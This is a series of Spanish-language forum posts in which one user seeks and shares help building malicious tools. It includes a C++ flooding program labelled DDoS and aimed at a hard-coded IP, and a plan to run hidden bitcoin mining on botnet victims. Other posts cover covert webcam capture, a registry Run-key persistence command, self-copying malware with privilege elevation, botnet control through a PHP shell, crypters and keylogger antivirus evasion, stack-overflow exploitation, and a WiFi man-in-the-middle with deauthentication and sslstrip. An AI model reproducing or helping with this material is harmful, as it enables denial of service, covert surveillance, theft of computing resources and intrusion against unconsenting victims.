Se me ocurre hacerlo para una página que paguen por publicar mensajes o hacer clicks¿? se podría falsificar el navegador con cpp para esa página.

Saludos.
#161
Programación C/C++ / Ayuda con programa DDoS
13 Octubre 2014, 12:57 PM
Edito: El primer programa hacia 65608 envíos y uno solo fallido en 5 segundos, el segundo 876210 ninguno fallido en 3 segundos, ahora creo haber encontrado el coherente.

Los anteriores eran rechazados por el servidor carentes de sentido enviaban cadenas como "\0" o basura.

Ahora este DDOS genera respuesta del servidor 2900 en 3,5 segundos con respuesta todos ellos.

Código:

Código (cpp) [Seleccionar]


///Lo bueno seria con procesos hijo.
#include <windows.h>
#include <iostream>
#include <cstdio>
#include <fstream>
#include <cstring>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <process.h>
#include <signal.h>
#include <time.h>

#pragma comment (lib, "Ws2_32.lib")
using namespace std;

int make_socket(char *ip, int puerto)
{
WSADATA wsa;
struct sockaddr_in dir;
int sock;

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
closesocket(sock);
printf("error makesocket"); exit(1);
}
else
{
dir.sin_family = AF_INET;
dir.sin_port = htons(puerto);
dir.sin_addr.s_addr = inet_addr(ip);

if (connect(sock, (struct sockaddr*)&dir, sizeof(dir)) == -1)
{
printf("error conectar socket"); system("pause");
}
}
return sock;
}

void attack(char *ip, int puerto, int tiempo)
{
char basura[4096];
int sock,error=0,exito=0;
clock_t hola, adios;
char resp[500];
tiempo = tiempo * 1000;
strcpy_s(basura, "GET /index.php");//atacamos el index
strcat_s(basura, "Host: host.com\r\n");//de este host
strcat_s(basura, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(basura, "\r\n\r\n");
int len=strlen(basura);
sock = make_socket(ip, puerto);
hola = clock();
while (1)
{
adios = clock();
if ((adios - hola) >= tiempo)
{
break;
}

if (send(sock, basura, len, 0) == -1)
{
error++;
printf("ha fallado el numero %d", exito + error);
sock = make_socket(ip, puerto);
}
else
{
printf("recibiendo...");
exito++;
}
}
printf("Paquetes enviados: %d\n", exito + error);
printf("ENVIADOS: %d\n", exito);
printf("FALLADOS: %d\n\n", error);
}

int main()
{
clock_t hola, adios;
hola = clock();
attack("56.670.633.080", 80, 3); //(segundos de ataque)
adios = clock();
printf("ha tardado %d", adios - hola);
return 0;
}


jajaja jdr me acaba de cascar el ordenador al probar esto OMG jajaja

Creo que era por esto:

Código (cpp) [Seleccionar]
strcpy_s(basura, "GET /index.php HTTP/1.1\r\n");//atacamos el index

Buf lo he vuelto a probar y casi casca otra vez 641768 envios en 13 seg.

Si al código le pongo recv(..) me envia el codigo fuente de la pagina, lo que pasa que es un descontrol de programa lo estoy probando con pause.

Saludos
#162
Programación C/C++ / Minador de bitcoins en cpp
12 Octubre 2014, 13:58 PM
Bueno, este es mi siguiente objetivo, la joya de la corona.

Me propongo una función que mine los bitcoins, para ello necesitaremos crearnos una cuenta en una página como eclipsemc.com o bitcoin.org.

Bien tendremos que hacer un cliente que reciba las cadenas cifradas para ganar bitcoins descargandolas desde la página a ser posible, o sino podría acceder yo y distribuir las cadenas cifradas en la botnet para que los bots tratasen de descifrarlas y me mandasen bitcoins.

De momento esto de los bitcoins es nuevo para mí, seguro vosotros conocéis como funciona (hay clientes que para minar te ponen un capcha, no el del eclipse asi que bien), la idea sería hacer un cliente minador modificado del eclipsemc y hacerlo en cpp, no sé si se podrá hacer utilizando códigos como estos:

https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp
https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp
https://github.com/bitcoin/bitcoin/blob/master/src/wallet.cpp

Es que esto puede variar mucho, cliente y server pueden tener limites y demás.
Pero decidme como funcionan los bitcoins, ahora creo que el procedimiento es el siguiente:

Tengo un cliente, inicio sesión y el server me reconoce, luego le pido al server una cadena que esta cifrada y la trato de descifrar no?, trabajo sobre ella hasta que la descifro entonces la subo al server y gano mis bitcoins para esa cuenta no?

Si es así podría hacerlo de 2 formas:

1-Iniciando sesion en un solo ordenador, descargar varias cadenas( quizás no deje mas de una a la vez por eso hablé de los limites). Y usando la botnet enviar estas cadenas a los bots para que las descifren, quizás esto me sirva de ayuda:
https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp
Aunque ahora no entiendo nada xD. Bien descifrarían la cadena y la subirían a la botnet y yo desde mi cliente y ordenador subiría la cadena descifrada y ganaria bitcoins en mi sesion.

2-Haciendo que todos los bots inicien sesión en la cuenta con un cliente modificado(ya que el bot no se debe de dar cuenta no le puede salir una ventana y que el acepte minar xD tiene que ser todo en segundo plano), que descarguen las cadenas cifradas, las minen y suban las descifradas al server del bitcoin para ganar bitcoins en mi cuenta.

La mejor manera sería la 2 indudablemente, pero haber como hacemos eso.

¿Alguna idea? Iré pensándomelo poco a poco es demasiado complejo pero quizás no lo sea tanto, necesitaría hacer ingeniería inversa a un cliente de bitcoins cosa que no sé hacer, o no sé ¿qué métodos seos ocurrirían a vosotros?

Edito: Para empezar estoy haciendo un proyecto a partir del código abierto sobre bitcoins que hizo su creador e iré probando como funciona, PD el main tiene solo 5000 lineas de código estaba seleccionando y casi me peta el ordena xDD

Bueno la verdad me lo estoy replanteando al ver que hay unos 100 archivos:

https://github.com/bitcoin/bitcoin/tree/master/src

Vaya miren esta página:

http://qz.com/154877/by-reading-this-page-you-are-mining-bitcoins/

Una página que te hace minar bitcoins mientras la lees, sería otra opción :))

Solo que el minador iría en la página y todo eso xD

Saludos.
#163
Programación C/C++ / Ayuda haciendo foto cpp
9 Octubre 2014, 00:06 AM
Vaya hola de nuevo, pensaba que la función que hice que se encargaba de hacer una foto por la webcam no me funciona, pues la programé pero no la probé, tengo esto:

Código (cpp) [Seleccionar]

void photo()
{
HWND captura;

captura = GetForegroundWindow();

for (int i = 0; i<5; i++)
{
capGrabFrame(captura);
Sleep(50);
}

capFileSaveDIB(captura, "prueba.bmp");

capPreview(captura, FALSE);
DestroyWindow(captura);
captura = NULL;
}


Me compila pero no me aparece el archivo prueba.bmp en el proyecto, ¿qué puede fallar? Me he guiado a partir de este tema:

http://foro.elhacker.net/programacion_cc/capturar_webcam_devc-t171392.0.html

Edito: Vaya he probado otros códigos como por ejemplo este que si me compila en codeblocks pero no en MVS13 porque no se como linkar la libreria libvfw32.a lo que da lugar a errores.

Otro código:

Código (cpp) [Seleccionar]
void photo()
{
HWND hwndMain; // main window handle
HWND hwndVideo; // video capture window
char szDeviceName[80]; // driver name
char szDeviceVersion[80]; // driver version
char item[161]; // concatinated string
int i; // counter


//-----------------------------------------------------------------------------
//-----------------Para Obtener el HWND de la consola , sacado de msdn------
#define MY_BUFSIZE 1024
// char pszNewWindowTitle[MY_BUFSIZE];
char pszOldWindowTitle[MY_BUFSIZE];


GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
cout << pszOldWindowTitle << endl;
SetConsoleTitle("deraradfsfsa");

Sleep(40);

hwndMain = FindWindow(NULL, "deraradfsfsa");
SetConsoleTitle(pszOldWindowTitle);
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------

//----------------------------Mostrar Drivers---------------------------------
for (i = 0; i<10; i++)
{

if (capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion)))
{
strcpy_s(item, szDeviceName);
strcat_s(item, " ");
strcat_s(item, szDeviceVersion);
cout << item << endl;


}
}
//------------------------Proceso de captura----------------------------------

hwndVideo = capCreateCaptureWindow("My Capture Window", WS_VISIBLE, 0, 0, 640, 480, hwndMain, 0);
capDriverConnect(hwndVideo, 0);
capPreviewRate(hwndVideo, 66);
capPreview(hwndVideo, true);


capDlgVideoSource(hwndVideo);

/*for(int i=0;i<25;i++)
{
capGrabFrame(hwndVideo);
}*/

capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");


capPreview(hwndVideo, FALSE);
DestroyWindow(hwndVideo);
hwndVideo = NULL;

system("Pause");
}


En propiedades proyecto/vinculador/entrada puedo añadir librerias .lib, las .a no las reconoce, en el codeblocks si que se podían incluir, pero en este he buscado y no se como, estaría bien que me dijerais si sabéis.

Al compilar da errores y pone:

Error   3   error LNK2019: símbolo externo _capCreateCaptureWindowA@32 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ)

Error   4   error LNK2019: símbolo externo _capGetDriverDescriptionA@20 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ)   

Ya digo creo que son porque no tengo la librería libvfw32.a, de todas formas la cabecera que tengo tiene:

Código (cpp) [Seleccionar]
#include <windows.h>
#include <iostream>
#include <cstdio>
#include <fstream>
#include <cstring>
#include <vfw.h>
#define MY_BUFSIZE 1024
using namespace std;

void photo();


El programa da errores, en este code y en el otro si me compila pero no funciona xP

Saludos
#164
Hola a todos, estoy intentando hacer una funcion en cpp que grabe archivos de audio en formato ".bmp" o ".mp3" y a ser posible controlar el tiempo de recogida de datos.

Ahora no puedo subir codigos y no puedo aportar mas información.

Me podeis pasar el codigo, decirme como hacerlo o encontarlo lo agradeceria.

Aportare mas datos y codigo mas tarde, gracias.

Saludos.
#165
Hola a todos, hace tiempo me descargué unos crypter de indetectables todos ellos están escritos en VB6 y este es un lenguaje totalmente nuevo para mi, bien hay que compilarlos y ejecutarlos pues tengo el proyecto, no se como hacerlo uso MVS13 y puedo trabajar con VB6 pero no se como abrir los proyectos.

Un ejemplo de lo que llevaun proyecto de crypter (en realidad hay 2 proyectos el de crypter y el de stub) es lo siguiente:


Crypter_v23

Crypter_v23/Stub
Crypter_v23/Crypter

Crypter_v23/Crypter/crypt.bas
Crypter_v23/Crypter/CRijndael.cls
Crypter_v23/Crypter/crypter.vbp
Crypter_v23/Crypter/crypter.vbw
Crypter_v23/Crypter/Form1.frm
Crypter_v23/Crypter/MSSCCPRJ.SCC

Crypter_v23/Stub/CRijndael.cls
Crypter_v23/Stub/crypt.bas
Crypter_v23/Stub/crypter.vbw
Crypter_v23/Stub/inject.bas
Crypter_v23/Stub/modMain.bas
Crypter_v23/Stub/MSSCCPRJ.SCC
Crypter_v23/Stub/stub.vbp
Crypter_v23/Stub/stub.vbw



Bien ahora que tengo ¿que hace para abrir el proyecto y compilar el crypter?
PD aun así trataré de asegurarme de que no haya código malisioso por ahí metido xD.

El problema es que lo voy a abrir el MVS13 y no me reconoce el .vbp pues para vb utiliza la terminación .vbproj y no tengo la opción de abrirlo, ¿alguna idea?.

Hasta ahora lo que se es que los .bas son archivos vb de código fuente, el vbp los de proyecto de otro editor de vb, y los demás ni idea, haber si me podrías ayudar, tendría que crear otro proyecto y copiar los códigos y archivos de recurso en el pero como sería?

Gracias
#166
Hola a todos, haber tengo un programa en C compilado con el siguiente código:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main(int argc,char **argv)
{
   char string[16];
   strcpy(string,argv[1]);
   return 0;
}


Vale quiero hacer un stack overflow, para ello meto de argumentos :

AAAAAAAAAAAAAAAABBBBBBBBCCCCDDDD

Vale con estos argumentos el programa ya da error, uso windows 8 y al parecer no deja explorar los errores luego no puedo ver la dirección del return pues no hay opción de detallar los problemas a diferencia de win7.

Vale ahora abro inmunnity debugger, abro el ejecutable, lo corro y que tengo que hacer? Le puse también los mismo argumentos y ahora? como encuentro la dirección de return? y cuando la encuentre tendría que meter hay un payload no?

Ayuda y gracias.
#167
Hola a todos, vaya me decidí a instalar este software para fabricar mis exploits  :laugh: :laugh: :laugh: :laugh: >:D >:D :laugh: :laugh: >:D >:D

Peeero me da error, lo instalo y luego me pide tener pythin 2.7, no lo tengo pues tengo el 3.4 pero le di que vale que lo instalase también, pero el programa no funcionó después de haberlo instalado pues me dijo que faltaba python27.dll.

¿Qué tengo que hacer?, copiar python dentro del directorio donde se instalo el I debugger?

Más de uno lo tendréis instalado, decirme como hacerlo pls

Gracias
#168
Programación C/C++ / Microsoft visual studio 2012
25 Septiembre 2014, 12:29 PM
Pues bueno, lo necesitaba para poner UAC  a una aplicación es por eso por lo que fuí a la aventura de instalarlo, ME CAGO EN SU **** MADRE. Resulta que me bajo el instalador, y le pongo que me instale el MVS12 y unas funciones que tenía en cpp, Y DIGO QUE NO A LAS OTRAS 50 MIERDAS QUE ME QUERÍA INSTALAR, pues bien pulso "instalar", eran 6 gigas, 10 horas después ( en realidad no tanto) se me instala y me dice que la verisón no es compatible y que si meto un código puedo probar la opción gratuita por 30 días, de mala ***** decido desinstalarlo todo, voy al panel de control y sorpresa HABÍA 40 PROGRAMAS NUEVOS INSTALADOS EN EL MISMO DÍA!!, sigo desinstalando, instalo todo lo que dije que no instalará p**a basura.

Dicho esto, RESIGNANDOME a que no hay otra manera para enbeber el manifiesto del UAC en el .exe que no sea usando MVS, quería preguntaros que versión de MVS** es gratuita y permite embeber el UAC en las aplicaciones.

Bendiciones y buenos días. Y muerte a microsoft xD.
#169
Hacking / Como hacer un MITM con VirtualBox y WiFi
23 Septiembre 2014, 23:59 PM
Hola compañeros, la verdad nunca conseguí hacer un MITM usando WiFi, creo que había que crear una red falsa con mismo nombre que la que deseabas atacar y enviar desautentificaciones a la red objetivo para que se desautentifiquen sus usuarios y accedan a la tuya, y desde la tuya sniffas su tráfico y no llegue a conseguir hacer funcionar el sslstrip. Sin embargo, usando ethernet el MITM fue bastante sencillo y conseguí usar sslstrip con éxito.

Ahora bien, tengo una máquina virtual sobre un SO windows, y pretendo hacer un MITM desde la máquina virtual, o simplemente saber si es posible (pues la tarjeta de red estaría actuando en 2 modos distintos a la vez, y dudo si sería posible). Me gustaría realizar este MITM a partir de WiFi, la primera barrera que me encuentro está en intentar poner la interfaz de red en modo monitor.

sudo airmon-ng start wlan0

Y no crea la interfaz mon0 en modo monitor (interfaz que podría ser útil para la desautentificación), sin embargo pregunto si habría que crear una interfaz en modo master para que comparta el WiFi a la vez que lo robaría de otra red (que por supuesto no sería mi teléfono xD), de todas formas creo que en una red en modo monitor los usuarios eran capaces de conectarse, otra cosa es si conseguiría o no que tuvieran internet con una interfaz en modo monitor que no lo sé ni lo he probado (me perdí en el dhpc..).

Me gustaría saber si a alguien de vosotros le ha pasado alguna vez mi situación y que solución empleó para conseguir lo que propuse. Saber si es posible hacerlo y si lo es saber el cómo, llevo tiempo detrás de esto y lo intenté de varias maneras, pero ahora con una máquina virtual hacer un MITM WiFi me parece casi imposible, me gustaría conocer vuestra opinión al respecto, gracias.

Saludos.
#170
Buenas gente, estaba escribiendo algún malware y llegado el momento de instalarse necesito que se copie en el directorio "C:\Windows" y necesito permisos de root, he estado buscando bastante por google, y parece que hay funciones para unix, a través de las cuales puedes adquirir el root para ejecutar el programa, yo solo quiero que mi programa al ejecutar tenga permisos de root para poder copiarse en ese directorio, ahora estoy trabajando el C++, soy nuevo pero me adaptaré rápido espero xD.

Confío en que sepáis algo sobre el tema, toda ayuda es bienvenida.

Edito: He estado mirando cosas para hacerlo, quizás con chmod() podría eliminar privilegios del directorio en cuestión. Pero seguramente necesite permisos para usarla no se si windows me pondra en el .exe la opción de correr como administrador, estaría bien.

Edito: No entiendo, si tengo este código:

Código (cpp) [Seleccionar]

#include <sys/types.h>
#include <sys/stat.h>
#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <windows.h>
using namespace std;

int main()
{
   int permisos;
   permisos=_chmod("C:\\Users\\...\\programa.exe",_S_IWRITE);
   if(permisos==-1)
   {
       printf("Error al dar permisos al archivo.");
   }
   else
   {
       printf("Éxito al dar permisos al archivo.");
   }
   system("move programa.exe C:\\Windows");
   getchar();
   return 0;
}



No entiendo porque para poder ejecutar el move hacia el directorio necesito clicar botón derecho en el programa y ejecutar como administrador, eso ya lo tenía sin hacer nada, lo que quiero es que no tengas que dar al botón derecho, que directamente el programa al darlo click te diga que va a ser ejecutado como administrador (aunque eso solo la primera ejecución luego estaría ya copiado y no necesitaría permisos).

Se supone que le di permisos de escritura al archivo, y me los concedió entonces ¿por qué tengo que ejecutarlo como administrador para hacer el move?

Yo quiero que salga igual que cuando vamos a instalar un programa nos pide permisos, (no se puede correr sin los permisos), y que cuando se instale ya no necesite pedir permisos más, como cualquier programa que instalamos vamos.

Edito: He encontrado esto, ¿cómo debería aplicarlo al código para que me funcionara?

http://msdn.microsoft.com/en-us/library/bb756929.aspx

También mediante makefiles se puede incrustar el manifiesto:

http://msdn.microsoft.com/es-es/library/ms235591.aspx

Saludos.
#171
PHP / Duda ejecución script php
17 Septiembre 2014, 18:03 PM
Dentro de un archivo php tengo un script que me gustaría que se ejecutara solo cuando rellene unas variables recogidas por teclado y pulse ok, entonces ese script me recogería con un GET esas variables y se ejecutaría, el problema es que el script se ejecuta nada más cargar la página, yo lo que quiero es que lo haga cuando pulso el botón y cargo las variables, se puede hacer algo?

Saludos.
#172
Pues eso, tengo un directorio protegido en mi página y debo hacer un POST sobre un archivo php de dentro del directorio protegido, la cabecera que uso es la siguiente, faltaría la autentificación (uso htaccess y htpasswd):



POST /directorio_protegido/archivito.php HTTP/1.1\r\n");
Host: webdomain.com\r\n");
Content-type: application/x-www-form-urlencoded\r\n");
Content-length: 40\r\n\r\n);
n=wdj2ij


Como conseguiría que funcionara para que funcionase sobre un archivo protegido?
#173
PHP / Controlar botnet con PHP
15 Septiembre 2014, 14:00 PM
Hola, tengo pensado controlar a partir de un servidor web que corra un script PHP una botnet (pero esto en teoría OJO, aprendizaje nunca práctica que luego...), ahora bien, los clientes estaría en C o C++, iré subiendo código y editando mensajes acerca del proyecto, la idea es poder gestionar desde el servidor web a las víctimas a través de una SHELL, lo que peor llevo son sockets así que una ayuda no vendrá mal, una guía o algo iré subiendo código.

Edito: subiré la carpeta entera del proyecto web si es necesario, y espero mejoras y consejos xD, gracias.

Saludos.
#174
Desarrollo Web / Ayuda protegiendo directorios
14 Septiembre 2014, 12:57 PM
Hola, he estado siguiendo este tutorial:

http://www.dondominio.com/help/es/184/proteger-directorios-con-contrasena-mediante-htaccess/

Y no me funciona, llega el momento en que me pide el usuario y la contraseña introduzco el usuario, y en la contraseña he probado a introducir la cifrada (que obtienes de la página externa), y la que puse sin cifrar, y sigo sin conseguir acceder a la página.

Acabo en hostinger :(,el .htpasswd esta en la carpeta raíz y tiene:

admin_web:web_admin

El .htaccess está en la carpeta public_html donde está el index y demás directorios y tiene:

AuthName "Restricted Area"

AuthType Basic

AuthUserFile /var/www/midominioweb.com/.htpasswd

AuthGroupFile /dev/null

require valid-user


Pero no consigo acceder a la página apesar de introducir correctamente usuario y contraseña, ¿alguien sabe algo?

Edito: De todas formas no entiendo, si cifra la contraseña una web externa, ¿como la descifra mi web?, no se algo falta en el tutorial, me da la sensación.

Edito: Acabo de probar a meter ambos archivos en el public_html corrigiendo el link del .htaccess y sigue sin funcionar  :-( :-(

Saludos
#175
Programación C/C++ / Anclar programa al registro
13 Septiembre 2014, 13:34 PM
Hola compas, para anclar al registro uso esto:


char ad[]="REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v IniciarProgramas /t REG_SZ /d \"C:\\Users\\%username%\\directorio\\programa.exe\"";
system(ad);


El problema es que al ejecutar el programa no lo ancla (pues reinicio y no lo ejecuta), sin embargo si lo escribo en la consola si se ancla correctamente, me gustaría saber si tienen una manera más eficaz para anclar un programa al registro en C, además está que uso no funciona si el programa cambia de directorio.

Saludos.
#176
La idea es, tener 2 programas cliente y servidor, conectados remotamente, entonces yo paso datos al cliente desde mi servidor en plan "dir" y el programa cliente quiero que haga algo en plan system("cmd dir"); no se ni si funciona pero la idea seria de ese estilo, aun así system no devuelve una cadena y tendría problemas para enviarlo al servidor pues devuelve entero.

Una ayuda por favor, es un proyecto ambicioso, sería moderado hacer una interacción cliente servidor que pasen cadenas (y con ello datos), pero el problema radica más en como extraer esos datos que me interesan con el cliente usando el servidor para pedirlos.

Cualquier comentario será bien recibido, podemos colaborar en hacer algo :)

Saludos
#177
Hola a todos, hace tiempo tenía un programa que era un keylogger que saqué por aquí, entendí como funcionaba y aprendí a hacerlo, pero al compilarlo, sorpresa lo detecto mi antivirus.

Según tengo entendido, se puede crear un crypter o comprar uno para hacer invisible tu .exe, pero no quiero seguir ese camino (o muy difícil o pagando y fácil).

Leí que se podía hacer algo abriendo el .exe con un editor de ensablador y manipular ese hexadecimal, se programar poco con este lenguaje, pero quizás  haciendo incorporaciones de código y cambiándolo un poco pueda hacer algo, me gustaría saber si hay programas gratuitos para hacer esto, lo primero.

Y conocer las técnicas que utilizáis para burlar el antivirus, yo hasta aquí llego, gracias.
#178
Haber quiero saber, si hay contenido (una cadena) en la segunda linea del archivo, en ese caso guardarla en una variable, y en caso contrario que la variable tenga nulo, es decir "".

Cuando el archivo tiene 2 líneas  hago 2 fscanf y recojo la cadena de la segunda línea como quiero.

ARCHIVO:

123456
0129302


CODIGO:

a=fopen("archivito.a","rt");
fscanf(a,"%s",nombre);
fscanf(a,"\n%s",nombre);
fclose(a);


Destacar que está comprobada la existencia del archivo.

Ahora bien cuando el archivo tiene esto:


123456


Usando el mismo código, la variable no tiene nulo (guarda la cadena de la primera linea a pesar el "\n"), me estoy haciendo fscanf(a,"\n%s",nombre); Se supone que hago un salto de línea (que no se podrá hacer porque tiene una línea el archivo solo, en cuyo caso debería guardar null pero no entiendo).

Agradecería alguna ayuda, he probado hasta a contar las líneas del código pero da error, espero que a alguien se le ocurra alguna solución xD




Bueno tema solucionado hice unas cosas raras, de estas que dices si funciona es un milagro, y va así que bien. Un poco chapuza pero funciona, luego perfeccionaré en control de errores.
#179
Bueno este tema es un clásico, pero no consigo devolver la cadena o no la muestra haber si sabéis algo:



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char* crenombre();

int main()
{
   char *nombre=NULL;
   nombre=creanombre();
   printf(":%s.",nombre);
}

char* creanombre()
{
   int i;
   char nombre[100];
   srand(time(NULL));
   for(i=0;i<13;i++)
   {
       nombre[i]=(48+rand()%(57-48)+1);
   }
   return nombre;
}



El programa no muestra el nombre en el prinf que puede fallar? Gracias.
#180
Quiero enviar un archivo mediante HTTP a una web, que recoje las variables desde la url con un script en php, el cliente debe enviar un archivo cifrado e ir cargándolo en las variables poco a poco, hay que usar sockets en C para windows pero no encuentro  los apuntes adecuados, e buscado y no encuentro nada, ¿se os ocurre algo?

Ayuda por favor es un proyecto importante, confio en vosotros.